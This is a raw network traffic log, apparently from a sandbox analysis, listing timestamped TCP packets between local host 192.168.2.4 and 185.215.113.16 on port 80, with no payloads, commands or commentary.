Oct 28, 2024 23:47:23.147706985 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.147706985 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.147742987 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.147813082 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.147826910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.147886992 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.147921085 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.147947073 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.147959948 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.147974968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.148057938 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.148057938 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.148140907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.148159027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.148178101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.148267031 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.148360968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.148380041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.148396015 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.148454905 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.148454905 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.148528099 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.148544073 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.148559093 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.148596048 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.188632011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.188651085 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.188679934 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.188697100 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.188703060 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.188711882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.188728094 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.188744068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.188749075 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.188749075 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.188790083 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.189033985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.189085960 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.189135075 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.189151049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.189158916 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.189188957 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.189202070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.189217091 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.189220905 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.189232111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.189271927 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.189271927 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.200644016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.200659990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.200676918 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.200692892 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.200719118 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.200778961 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.201539040 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.201562881 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.201579094 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.201596022 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.201611996 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.201632977 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.201632977 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.201706886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.201730967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.201745987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.201762915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.201778889 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.201802969 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.201802969 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.201870918 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.201957941 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202039957 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202055931 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202070951 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202088118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202140093 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.202140093 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.202290058 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202341080 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202357054 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202403069 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202409029 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.202419043 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202442884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202459097 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202462912 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.202475071 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202527046 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.202702999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202855110 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202871084 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202888012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202903032 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202918053 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202934027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202959061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202971935 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.202980042 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.202980042 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.202980042 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.202980042 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.203023911 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.203265905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.203279018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.203294039 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.203342915 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.203368902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.203385115 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.203399897 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.203416109 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.203448057 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.203448057 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.245459080 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.245486975 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.245488882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.245531082 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.245620012 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.265882015 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.265908957 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.265923023 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.265948057 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.266017914 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.266365051 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.266381025 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.266397953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.266415119 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.266488075 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.266488075 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.266932011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.266947985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.266972065 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.266993999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.267009020 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.267009020 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.267025948 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.267041922 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.267055035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.267091990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.267102957 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.267116070 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.267116070 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.267262936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.267290115 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.267307043 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.267328978 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.267353058 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.267642975 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.267658949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.267678976 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.267694950 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.267765045 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.267765045 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.307387114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.307414055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.307430029 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.307473898 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.307509899 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.307531118 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.307549000 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.307574987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.307590961 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.307606936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.307622910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.307638884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.307656050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.307733059 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.307733059 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.307733059 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.307733059 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.307903051 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.307917118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.307940960 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.307954073 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.307981014 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.308015108 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.319302082 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.319461107 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.319477081 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.319492102 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.319565058 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.320355892 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.320425034 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.320446968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.320462942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.320478916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.320493937 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.320498943 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.320498943 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.320508957 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.320542097 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.320564032 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.320667028 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.320697069 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.320712090 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.320771933 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.320784092 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.320799112 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.320847988 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.320981026 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.320996046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321012020 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321027040 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321042061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321105957 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.321105957 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.321194887 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321218967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321234941 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321259975 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.321293116 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.321309090 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321362972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321388960 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321408033 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.321456909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321472883 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321496010 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321511030 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321527004 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321530104 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.321530104 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.321563005 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.321835995 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321851969 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321875095 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321890116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321906090 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.321913958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321921110 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.321929932 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321954966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321968079 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.321969032 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.321985006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.322093964 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.322093964 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.322338104 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.322407007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.322431087 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.322447062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.322463989 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.322479010 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.322597980 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.334158897 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.364325047 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.364343882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.364370108 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.364411116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.364486933 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.364618063 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.384608030 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.384680986 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.384696007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.384711981 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.384776115 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.384776115 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.385040998 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.385065079 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.385124922 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.385149002 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.385163069 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.385164022 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.385180950 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.385214090 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.385268927 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.385782003 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.385797024 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.385818958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.385834932 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.385848999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.385864973 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.385900021 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.385900021 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.385915995 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.385927916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.385941982 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.385992050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.386007071 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.386038065 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.386048079 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.386099100 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.386123896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.386208057 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.386231899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.386274099 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.386295080 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.386358023 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.386373043 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.386590958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.386605978 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.386620045 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.386655092 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.386681080 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.426668882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.426712990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.426728964 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.426753998 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.426769972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.426784039 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.426799059 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.426810026 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.426815987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.426840067 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.426856041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.426856995 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.426872969 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.426882029 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.426888943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.426904917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.426920891 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.426937103 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.426980019 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.426980019 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.426980972 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.426980972 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.438266039 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.438312054 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.438325882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.438340902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.438466072 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.439133883 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.439214945 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.439229012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.439253092 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.439266920 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.439281940 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.439311028 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.439337969 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.439338923 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.439338923 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.439353943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.439431906 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.439516068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.439532042 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.439546108 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.439610004 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.439656019 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.439671040 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.439671040 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.439678907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.439694881 CET	80	49740	185.215.113.16	192.168.2.4
